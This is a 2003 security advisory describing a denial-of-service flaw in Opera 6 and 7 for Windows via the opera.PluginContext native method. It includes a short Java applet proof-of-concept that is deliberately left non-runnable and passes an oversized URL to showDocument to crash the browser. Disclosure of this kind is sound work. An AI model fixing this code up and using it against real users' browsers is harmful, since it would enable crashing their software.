Opera opera.PluginContext Native Method Denial Of Service Vulnerability

Bugtraq ID:	6814
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Feb 10 2003 12:00AM
Updated:	Feb 10 2003 12:00AM
Credit:	Discovery of this issue is credited to Marc Schoenefeld <[email protected]>.
Vulnerable:	Opera Software Opera Web Browser 7.0 win32 Beta 2 Opera Software Opera Web Browser 7.0 win32 Beta 1 Opera Software Opera Web Browser 7.0 win32 Opera Software Opera Web Browser 7.0 1win32 Opera Software Opera Web Browser 6.0.5 win32
Not Vulnerable:

Opera opera.PluginContext Native Method Denial Of Service Vulnerability

The following proof-of-concept was provided:

//Marc Schoenefeld 1/13/2003, www.illegalaccess.org
//not runnable, a little crippled, there are couple of obvious syntax errors
to avoid script-kidding

...
import opera.PluginContext; // !! import the vulnerable class
...

public class OperaCall2 extends App1et
{
- -
- - public OperaCall2()
- - {
- - }
- -
- - public void paint(Graphics g)
- - {
- - PluginContext plugincontext = new PluginContext(l);
- - try
- - {
- - plugincontext.showDocument(new URL("http://xxx.xxx" + new
String(new byte[30000])));
- - }
- - catch(Exception exception)
- - {
- - exception.printStackTrace();
- - }
- - }
}

Opera opera.PluginContext Native Method Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.